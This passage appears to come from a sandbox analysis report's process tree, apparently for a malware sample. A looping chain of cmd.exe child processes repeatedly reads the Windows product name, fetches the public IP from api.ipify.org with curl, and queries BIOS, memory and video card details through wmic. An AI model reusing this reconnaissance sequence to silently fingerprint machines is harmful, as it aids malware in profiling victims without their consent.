        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6476
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6520
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:1188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2280
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5076
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:2864
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:6248
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4116
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:1168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6636
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:6244
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1868
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:6168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5436
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6352
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4440
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5844
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5488
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5920
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6300
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3112
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5296
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:2868
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4252
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6744
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1092
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5912
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6740
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:7004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5680
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:7084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3392
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:4420
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1508
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:3356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:4500
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:6800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:2568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4040
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:2092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:3720
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:7148
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5636
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6480
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:7140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5820
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4956
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6496
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4792
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:228
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7064
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:5792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5388
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6408
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6436
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4896
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5320
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:2360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:3024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5416
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5456
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5700
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3404
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:3528
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:1388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:4516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5568
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:7124
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3748
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:852
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:1020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:1820
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:2940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4928
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6952
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:7072
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5056
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3824
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:6676
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:1048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6472
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4296
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:3552
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:3608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:3656
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1656
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:1912
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:1672
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:1312
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:7028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:228
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:4816
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:6168
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:4772
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:5572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5044
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:3440
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5404
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:2976
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5192
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:5532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5396
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:5344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4992
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:5808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5788
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:6300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5892
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:3840
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:2964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5308
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:2300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:2880
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:1292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:5424
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:2852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5612
        
